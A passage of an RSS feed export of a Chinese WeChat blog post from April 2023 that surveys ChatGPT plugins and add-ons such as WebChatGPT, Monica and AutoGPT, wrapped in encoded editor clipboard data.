7D%2C%7B%22x%22%3A61%2C%22y%22%3A390%2C%22width%22%3A426%2C%22height%22%3A31%2C%22text%22%3A%22TEST%20THE%20FUNCTIONALITY%22%7D%2C%7B%22x%22%3A63%2C%22y%22%3A428%2C%22width%22%3A822%2C%22height%22%3A33%2C%22text%22%3A%22IMPROVE%20THE%20FUNCTIONALITY%20BASED%20ON%20FEEDBACK%22%7D%2C%7B%22x%22%3A61%2C%22y%22%3A466%2C%22width%22%3A846%2C%22height%22%3A31%2C%22text%22%3A%22WRITE%20TESTS%20TO%20ENSURE%20THE%20CODE%20WORKS%20AS%20EXPEC%22%7D%2C%7B%22x%22%3A861%2C%22y%22%3A468%2C%22width%22%3A118%2C%22height%22%3A28%2C%22text%22%3A%22PECTED%22%7D%2C%7B%22x%22%3A61%2C%22y%22%3A505%2C%22width%22%3A530%2C%22height%22%3A32%2C%22text%22%3A%22EXECUTE%20THE%20CODE%20TO%20TEST%20IT%22%7D%2C%7B%22x%22%3A63%2C%22y%22%3A543%2C%22width%22%3A796%2C%22height%22%3A29%2C%22text%22%3A%22GENERATE%20AN%20IMAGE%20TO%20VISUALIZE%20THE%20RESUITS%22%7D%2C%7B%22x%22%3A57%2C%22y%22%3A582%2C%22width%22%3A686%2C%22height%22%3A30%2C%22text%22%3A%22SEND%20A%20TWEET%20TO%20PROMOTE%20OUR%20PROJECT%22%7D%2C%7B%22x%22%3A7%2C%22y%22%3A618%2C%22width%22%3A186%2C%22height%22%3A29%2C%22text%22%3A%22CRITICISM%3A%22%7D%2C%7B%22x%22%3A217%2C%22y%22%3A619%2C%22width%22%3A108%2C%22height%22%3A28%2C%22text%22%3A%22I%20NEE%22%7D%2C%7B%22x%22%3A252%2C%22y%22%3A621%2C%22width%22%3A2038%2C%22height%22%3A33%2C%22text%22%3A%22I%20NEED%20TO%20MAYE%20SURE%20THAT%20THE%20DEST9N%20AND%20ZOPLEMENTAIN%20AND%20OF%20THE%20WED%20SEANNER%20IS%20SECURE%20AND%20DONTAIN%20ANY%22%7D%2C%7B%22x%22%3A36%2C%22y%22%3A657%2C%22width%22%3A262%2C%22height%22%3A28%2C%22text%22%3A%22VULNERABILITIES%22%7D%5D%2C%22search%22%3A%22INPUT%3A%E6%88%91%E6%83%B3%E8%A6%81%E8%87%AA%E5%B7%B1%E5%86%99%E4%B8%80%E4%B8%AA%2C%E4%BB%8E%E5%A4%B4%E5%BC%80%E5%A7%8B%20SYSTEM%3AHUMAN%20FEEDBACK%3A%E6%88%91%E6%83%B3%E8%A6%81%E8%87%AA%E5%B7%B1%E5%86%99%E4%B8%80%E4%B8%AA%2C%E4%BB%8E%E5%A4%B4%E5%BC%80%E5%A7%8B%20IF%20YOU%20MANT%20TO%20URITE%20A%20NEB%20SCANNER%20FTOM%20SCRATCH%2C%20WE%20CAN%20START%20BY%20ANALYZING%20THE%20REQUIRENTS%20AND%20DESTONI%20THOUGHTS%3A%20IF%20G%20TH%20E%20BASIC%20FUNCTIONALITY.%20REASONING%3A%20WEVER%2C%20IT%20WILL%20REQUIRE%20MORE%20TIME%20AND%20EFFORT%20TO%20DEVELOP%20THE%20BASIC%20FUNCTIONALITY%20PLAN%3A%20ANALYZE%20THE%20REQUIREMENTS%20FOR%20THE%20WEB%20SCANNER%20DESIGN%20THE%20BASIC%20FUNCTIONALITY%20IMPLEMENT%20THE%20BASIC%20FUNCTIONALITY%20TEST%20THE%20FUNCTIONALITY%20IMPROVE%20THE%20FUNCTIONALITY%20BASED%20ON%20FEEDBACK%20WRITE%20TESTS%20TO%20ENSURE%20THE%20CODE%20WORKS%20AS%20EXPEC%20PECTED%20EXECUTE%20THE%20CODE%20TO%20TEST%20IT%20GENERATE%20AN%20IMAGE%20TO%20VISUALIZE%20THE%20RESUITS%20SEND%20A%20TWEET%20TO%20PROMOTE%20OUR%20PROJECT%20CRITICISM%3A%20I%20NEE%20I%20NEED%20TO%20MAYE%20SURE%20THAT%20THE%20DEST9N%20AND%20ZOPLEMENTAIN%20AND%20OF%20THE%20WED%20SEANNER%20IS%20SECURE%20AND%20DONTAIN%20ANY%20VULNERABILITIES%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23343434%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u075e1280%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u401201f8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%85%B6%E5%AE%9E%E7%8E%B0%E5%9C%A8%E9%98%B6%E6%AE%B5%E7%9A%84AutoGPT%E6%9B%B4%E5%A4%9A%E8%BF%98%E6%98%AF%E4%B8%80%E4%B8%AA%E6%A6%82%E5%BF%B5%E4%BA%A7%E5%93%81%EF%BC%8C%E4%BD%BF%E7%94%A8%E4%B8%8A%E7%9A%84%E4%BD%93%E9%AA%8C%E6%9B%B4%E6%8E%A5%E8%BF%91%E4%B8%80%E4%B8%AAdemo%E3%80%82%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue7934241%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E6%AF%94%E8%B5%B7%E5%AE%9E%E9%99%85%E6%84%8F%E4%B9%89%EF%BC%8CAutoGPT%E9%80%9A%E8%BF%87%E5%8F%8D%E9%A6%88%E8%BE%83%E6%AD%A3%E7%9A%84%E6%96%B9%E5%BC%8F%E7%BB%99%E6%88%91%E4%BB%AC%E5%91%88%E7%8E%B0%E4%BA%86%E4%B8%80%E7%A7%8D%E6%9C%BA%E5%99%A8%E6%80%9D%E8%80%83%E7%9A%84%E6%84%9F%E8%A7%89%EF%BC%8C%E5%BE%88%E6%9C%89%E8%B6%A3%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22nYooj%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uf00a8b1c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%86%99%E5%9C%A8%E6%9C%80%E5%90%8E%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u58582da4%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua8ef239d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E7%AF%87%E6%96%87%E7%AB%A0%E9%87%8C%E6%88%91%E4%BB%AC%E8%AE%A8%E8%AE%BA%E7%9A%84%E5%A4%A7%E5%A4%9A%E9%83%BD%E6%98%AF%E7%8E%B0%E5%9C%A8%E5%B7%B2%E7%BB%8F%E6%88%90%E5%9E%8B%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E4%BA%8Echatgpt%E7%9A%84%E6%8B%93%E5%B1%95%EF%BC%8C%E4%BD%9C%E4%B8%BA%E4%BD%BF%E7%94%A8%E8%80%85%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E7%9A%84%E5%BE%88%E5%A4%9A%E5%8F%AA%E6%9C%89%E9%80%82%E5%BA%94%E6%97%B6%E4%BB%A3%EF%BC%8C%E4%B8%8B%E7%AF%87%E6%96%87%E7%AB%A0%E6%88%91%E4%BB%AC%E5%B0%B1%E8%AE%B2%E8%AE%B2%EF%BC%8C%E5%9C%A8chatgpt%E7%9A%84%E5%9F%BA%E7%A1%80%E4%B8%8A%E6%88%91%E4%BB%AC%E4%BD%9C%E4%B8%BA%E5%BC%80%E5%8F%91%E8%80%85%E8%83%BD%E5%81%9A%E4%BB%80%E4%B9%88%EF%BC%9F%22%7D%5D%7D%5D%2C%22attrs%22%3A%7B%7D%7D"></ne-clipboard></p><p style="min-height: 24px;"><span style="font-size: 16px;">在我们对ChatGPT的基础能力有了一定的了解之后，我们就要开始在ChatGPT的基础上探索更多的可能性。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">而ChatGPT本身的问题也很多，ChatGPT在使用上最大也最明显的革命，</span><strong><span style="font-size: 16px;">其实是对自然语言的处理能力</span></strong><span style="font-size: 16px;">，抛开太多专业性的术语，你在使用的过程中也能明显感觉到，ChatGPT甚至在某些方面有着比正常人更厉害的解读能力，</span><strong><span style="font-size: 16px;">它可以把一段模糊的要求和文字解读成需求，最牛逼的是它还支持中文</span></strong><span style="font-size: 16px;">，毕竟理论上中文的自然语言处理难度是几个量级。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">拿下面这个图举例子，我感觉我都没说明白，但却获得了答案。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.630184331797235" width="789.0908919878246" data-type="png" data-w="868" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6a6dfce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYFArB6nbkEtrM1c40RYuibApFIicTQECJsGLGp94ibCmXQIYkUDicKtb0hg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">除了强大的自然语言处理能力，以及大模型背景下庞大的数据以外。ChatGPT还有很多明显的缺点，其中</span><strong><span style="font-size: 16px;">最直白的问题就是数据的过时以及不联网问题。</span></strong><span style="font-size: 16px;">目前ChatGPT的训练数据集截止到2021年，而没有准确数据集的数据，ChatGPT就没有置信数据可以参考，</span><strong><span style="font-size: 16px;">而这类问题ChatGPT就会通过某种方式自我学习产生，而他的结果就会产生各种各样的错误。</span></strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2561576354679803" width="812" data-type="png" data-w="812" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c84a3007&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYxzCOI0mYiahgS0Mv6uZ9qQnpjQI92SrCZwryMLxiaNXBUVhAtiaTHoENQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">当然，为了避免大数据污染等等问题，ChatGPT目前公开对外使用的接口，最多只会参考部分上下文以及限定单个对话session中做学习优化，但不会对用户的输入做学习。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">为了解决这个问题，ChatGPT选择了</span><strong><span style="font-size: 16px;">用第三方插件作为媒介</span></strong><span style="font-size: 16px;">，让AI在比较安全的环境学习外界的数据，最早的合作公司由</span><span style="color: rgb(51, 51, 51);font-size: 16px;">Expedia、FiscalNote、Instacart、KAYAK、Klarna、Milo、OpenTable、Shopify、Slack、Speak、Wolfram 和 Zapier 创建。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span style="font-size: 16px;"></span><span style="font-size: 16px;"><a href="https://openai.com/blog/chatgpt-plugins" target="_blank">https://openai.com/blog/chatgpt-plugins</a></span></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4111111111111111" width="1080" data-type="jpeg" data-w="1080" style="font-size: 16px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f2f2ce7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYDZIG8vaKnjdiawo0iaCy5jPQuVBYRealF1SXZMv93Da5rHz0w0geiaaYg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">其中的各种插件可以覆盖大部分的场景，包括：</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="text-align: justify;"><p><span style="color: rgb(51, 51, 51);font-size: 16px;">检索实时信息：例如体育比分、股票价格、最新消息等；</span></p></li><li style="text-align: justify;"><p><span style="color: rgb(51, 51, 51);font-size: 16px;">检索知识库信息：例如公司文件、个人笔记等；</span></p></li><li style="text-align: justify;"><p><span style="color: rgb(51, 51, 51);font-size: 16px;">代表用户执行操作：例如，订机票、订餐等。</span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">除此之外呢，ChatGPT官方还提供了两个插件，一个是网络浏览器，另一个是代码解释器，</span><span style="color: rgb(51, 51, 51);font-size: 16px;">并开源了一个知识库检索插件的代码。现在，</span><strong><span style="color: rgb(51, 51, 51);font-size: 16px;">任何开发人员都可以自行构建插件</span></strong><span style="color: rgb(51, 51, 51);font-size: 16px;">，用来增强 ChatGPT 的信息库了。从这里开始ChatGPT+的概念算是诞生。</span></p><p style="min-height: 24px;"><span style="color: rgb(51, 51, 51);font-size: 16px;">虽然目前这部分的插件还只是</span><strong><span style="color: rgb(51, 51, 51);font-size: 16px;">开放给了候补名单中的用户和开发人员</span></strong><span style="color: rgb(51, 51, 51);font-size: 16px;">，但计划中即将开放给部分ChatGPT plus的用户了。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4484304932735426" width="2027.2726833327752" data-type="png" data-w="2230" src="https://wechat2rss.xlab.app/img-proxy/?k=6fac3c18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYKuxfqoxdjib3YJryAQmmibezviapibJXkt1LYYX9Lm0OhrXzSzqrrGib2icA%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span style="color: rgb(51, 51, 51);">一些有趣的ChatGPT周边</span></h2><p style="min-height: 24px;"><span style="font-size: 16px;">除了ChatGPT官方的插件以外，还有很多以各种各样的方案实现的ChatGPT衍生产品，其中有很多意思的东西，这里我就推荐几个比较有意思的</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>WebChatGPT</span></h2><p style="min-height: 24px;"><a href="https://chrome.google.com/webstore/detail/webchatgpt-chatgpt-with-i/lpfemeioodjbpieminkklglpmhlngfcn" target="_blank">https://chrome.google.com/webstore/detail/webchatgpt-chatgpt-with-i/lpfemeioodjbpieminkklglpmhlngfcn</a></p><p style="min-height: 24px;"><span>WebChatGPT是一款Chrome的插件，它可以用一个特殊的方案来实现ChatGPT的联网，来让ChatGPT的返回数据更准确更新。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5892307692307692" width="1181.818156202963" data-type="png" data-w="1300" src="https://wechat2rss.xlab.app/img-proxy/?k=f55e71fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYKZA4BGD0RuI03bk9UmbcpiaUMFfAqxZyymmwVerkpgjYLZx5k7IPGWw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>他的实现方案特别有意思，</span><strong>简单来说，他会先把你的问题拿去搜索引擎上搜，然后把结果喂给ChatGPT，然后让ChatGPT以搜索结果作为上下文学习，之后再回答你的问题。</strong></p><p style="min-height: 24px;"><span>插件安装成功之后，你的对话框上多了很多的参数</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.16100766703176342" width="829.9999820102349" data-type="png" data-w="913" src="https://wechat2rss.xlab.app/img-proxy/?k=02b472fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYuk1OuycbPHYuGwIjyOI42gNcjvVEicBNogHjtzKiaFHtP0mJRN9wHrSg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="color: rgb(77, 77, 77);font-size: 16px;">Web access（是否要开启联网功能）、X results（想要它列出几条来源）、Time（多久之前的资料）、Region（哪个地区的资料），以及最右边的Prompt（默认指令）</span></p><p style="min-height: 24px;"><strong><span style="color: rgb(77, 77, 77);font-size: 16px;">通过配置参数并开启，你可以获取到非常有时效性的内容</span></strong><span style="color: rgb(77, 77, 77);font-size: 16px;">，比如说询问天气。因为正常来讲你询问chatgpt天气会返回这样的内容。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2654462242562929" width="794.545437324146" data-type="png" data-w="874" src="https://wechat2rss.xlab.app/img-proxy/?k=d69fde66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYricHE0zztNibenT7OAG3icsuviaRicVUaoBj6HHib6h8hicC4lZYfyyUicibWSw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>但如果你使用这个插件，你就可以获取这样的结果。</span></p><p style="min-height: 24px;"><span></span></p><p style="min-height: 24px;"><span>但要注意的是，</span><strong>由于插件的实现方式（通过输入搜索内容关联上下文），使用WebChatGPT会大幅度削减原本对话中的上下文关联度，所以一般来说只有特定的场景下才使用这个插件。</strong></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span style="color: rgb(77, 77, 77);">Monica</span></h2><p style="min-height: 24px;"><a href="https://chrome.google.com/webstore/detail/monica-%E2%80%94-your-chatgpt-cop/ofpnmcalabcbjgholdjcjblkibolbppb" target="_blank">https://chrome.google.com/webstore/detail/monica-%E2%80%94-your-chatgpt-cop/ofpnmcalabcbjgholdjcjblkibolbppb</a></p><p style="min-height: 24px;"><span>这个插件是Google for ChatGPT的进阶，</span><strong>它集合了你在上网过程中会遇到的各种问题和场景，并通过chatgpt来辅助使用。</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4147501982553529" width="1146.3636115168742" data-type="png" data-w="1261" src="https://wechat2rss.xlab.app/img-proxy/?k=eba37a59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYQibAyLnpR79n87Ie8HniadCjrqn75jjLxwibWWcVHqMVNowB09VcrhF5A%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>当然，这个玩意现在越来越成熟了，所以它也开始收费了，大家可以自己感受一下</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.783157894736842" width="579.178955078125" data-type="png" data-w="950" src="https://wechat2rss.xlab.app/img-proxy/?k=a1bd61f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDY4wng1pAmJYK3Vx3BWtrklCEl08fNljE5k2icm3TOslUaId2vhTZq6tQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>这个插件最常见的功能就是搜索辅助，会</span><strong>直接对你google的搜索结果做优化，直接返回你i想要查询的结果</strong><span>。可以大幅度节省找到答案的时间。最牛的是，</span><strong>它还支持百度</strong><span>。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.34044173648134046" width="1193.6363377649927" data-type="png" data-w="1313" src="https://wechat2rss.xlab.app/img-proxy/?k=6352442e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYTcn8UnPTtAPFOohsay08agcV6l19dMspkvnLu4NWcsQZYTLPibhKM8g%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>除此之外，还有一些比较有意思的东西，比如说划词右键解释</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.8869047619047619" width="572.1817932128906" data-type="png" data-w="504" src="https://wechat2rss.xlab.app/img-proxy/?k=e3248966&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYJ2ibtOVPmicXXMJM7jC5DdBticqvQegetHTKUibQgJ3JdGCeNnX2vkCL4g%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>使用ctrl+m可以打开侧边，这里有两个功能，一个是聊天和写作辅助</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="1.1683168316831682" width="400.9090576171875" data-type="png" data-w="606" src="https://wechat2rss.xlab.app/img-proxy/?k=22f748f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDY3uPcOgl92UPkjdiaDHLOJ2QAPcWBiaWN9DcSIFu772VBlpdVmnQrO8ow%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>它还可以提供阅读功能，可以直接给它一篇文章，然后让他阅读，他会直接给你返回文章的摘要。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="1.235897435897436" width="475.5454406738281" data-type="png" data-w="390" src="https://wechat2rss.xlab.app/img-proxy/?k=2d9e45a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDY5ZMCHaJJSo64JC07wdZX677kjMRswuU8L17MBnVdOhg9dzXMrLnGVQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>你可以通过这个对话聊天功能来快速的阅读一篇文章。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span>AutoGPT</span></h2><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/Significant-Gravitas/Auto-GPT" target="_blank">https://github.com/Significant-Gravitas/Auto-GPT</a></p></li></ul><p style="min-height: 24px;"><span>AutoGPT诞生没多久，比起这个东西本身的效果，AutoGPT本身的思路和理念很有意思，</span><strong>AutoGPT依托于GPT4强大的算力和思考能力，对你的需求进行解构深入</strong><span>。比较麻烦得是，</span><strong>AutoGPT对算力的依赖比较强，GPT3.5能用但是很难用。而且由于AutoGPT的理念</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5012360939431397" width="1470.9090590279957" data-type="png" data-w="1618" src="https://wechat2rss.xlab.app/img-proxy/?k=cc0d88f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYmPLvRwrp7VUfgr71Q3tKzyYRZV3qcwf1nO94c4YsCpxjdgWaIryQmg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><strong>AutoGPT就像一个不知疲倦的实习生，他会对你下的指令进行多重解构，并对当前的问题持续发散探索更多话题</strong><span>。</span></p><p style="min-height: 24px;"><span>这里有个小例子，假设我想要一个web扫描器但是没有指定任何要求（你可以通过增加要求来优化回答的导向</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.42175408426483235" width="2114.545408713917" data-type="png" data-w="2326" src="https://wechat2rss.xlab.app/img-proxy/?k=fe8e9b9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYdiaqFHA7q1BFDFHfO7cCqsrp7rbtsh7lF1yGpKdxLg1RJmlIicMee4xg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>auto-gpt在分析了我的需求之后，提出了一个计划，是先去找一个网上的扫描器然后再根据需求改进，还提醒我小心代码的安全问题，不要盲目的clone代码。</span></p><p style="min-height: 24px;"><span>如果我们继续让他分析，他会继续把分析的内容细化并深入，你也可以指定连续多步去分析。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3157894736842105" width="2107.272681598822" data-type="png" data-w="2318" src="https://wechat2rss.xlab.app/img-proxy/?k=7cb8d3d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYibvWjBcdOjKoYkajt6dIaCG5YHMkvicc9eibTzA4OOWP6BPuCLkDQSukQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>当然除了让他继续分析，你也可以给与一些人工的干预，比如我说我不想要别人的代码，我想要自己写，他指出我们需要好好分析需求。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.29845626072041165" width="2119.9999540502386" data-type="png" data-w="2332" src="https://wechat2rss.xlab.app/img-proxy/?k=7dd96614&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6USNeVMwnqGmpan5Zpcz2vDYTRzsTHUuteulEFfDrnWADq3U9yLe9y6b9cdkOjgkibvl9fz9waPGRhA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>其实现在阶段的AutoGPT更多还是一个概念产品，使用上的体验更接近一个demo。</span><strong>比起实际意义，AutoGPT通过反馈较正的方式给我们呈现了一种机器思考的感觉，很有趣。</strong></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>写在最后</span></h1><p style="min-height: 24px;"><span>这篇文章里我们讨论的大多都是现在已经成型的一些基于chatgpt的拓展，作为使用者我们能做的很多只有适应时代，下篇文章我们就讲讲，在chatgpt的基础上我们作为开发者能做什么？</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/04/28/chatgpt-3/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9e0ee65e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247483933%26idx%3D1%26sn%3D4e1dec4dd0f12477eabb6e37e84b15ca%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 28 Apr 2023 19:07:00 +0800</pubDate>
    </item>
    <item>
      <title>从0到1的ChatGPT - 入门篇（二）- 如何与ChatGPT对话？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247483911&amp;idx=1&amp;sn=ba05b4bee0ee3b51e2e84e586dafe00c</link>
      <description>在上篇文章的结尾，我提到了ChatGPT其实更像是一把铲子，在拥有这把铲子之前，我们只知道可以把土堆成房子，如何用铲子堆一个又大又漂亮的房子可能我们还不知道，但至少我们现在已经开始尝试做这样的事情了。</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2023-04-26 19:23</span> <span style="display: inline-block;">北京</span>
</p>

<p>在上篇文章的结尾，我提到了ChatGPT其实更像是一把铲子，在拥有这把铲子之前，我们只知道可以把土堆成房子，如何用铲子堆一个又大又漂亮的房子可能我们还不知道，但至少我们现在已经开始尝试做这样的事情了。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7aec1506&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6URoQav4A9Xiap556z4RY9hicUrlWJ1cyuCy9quDHrnHRPJTkxT96Oy0eSgNHjx8KK8vF1wa1oz88k3g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><ne-clipboard data="%7B%22type%22%3A%22fragment%22%2C%22name%22%3A%22%23fragment%22%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u20638b78%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u82866fcb%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8%E4%B8%8A%E7%AF%87%E6%96%87%E7%AB%A0%E7%9A%84%E7%BB%93%E5%B0%BE%EF%BC%8C%E6%88%91%E6%8F%90%E5%88%B0%E4%BA%86%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ufa633b7c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(35%2C%2057%2C%2077)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22ChatGPT%E5%85%B6%E5%AE%9E%E6%9B%B4%E5%83%8F%E6%98%AF%E4%B8%80%E6%8A%8A%E9%93%B2%E5%AD%90%EF%BC%8C%E5%9C%A8%E6%8B%A5%E6%9C%89%E8%BF%99%E6%8A%8A%E9%93%B2%E5%AD%90%E4%B9%8B%E5%89%8D%EF%BC%8C%E6%88%91%E4%BB%AC%E5%8F%AA%E7%9F%A5%E9%81%93%E5%8F%AF%E4%BB%A5%E6%8A%8A%E5%9C%9F%E5%A0%86%E6%88%90%E6%88%BF%E5%AD%90%EF%BC%8C%E4%BD%86%E6%98%AF%E4%B8%8D%E7%9F%A5%E9%81%93%E7%94%A8%E4%BB%80%E4%B9%88%E6%8A%8A%E5%9C%9F%E5%A0%86%E8%B5%B7%E6%9D%A5%EF%BC%8C%E4%BD%86%E5%9C%A8%E6%9C%89%E4%BA%86%E8%BF%99%E6%8A%8A%E9%93%B2%E5%AD%90%E4%B9%8B%E5%90%8E%EF%BC%8C%E9%93%B2%E5%9C%9F%E5%8F%AA%E6%98%AF%E9%93%B2%E5%AD%90%E6%9C%80%E7%9B%B4%E7%99%BD%E7%9A%84%E5%88%A9%E7%94%A8%EF%BC%8C%E5%A6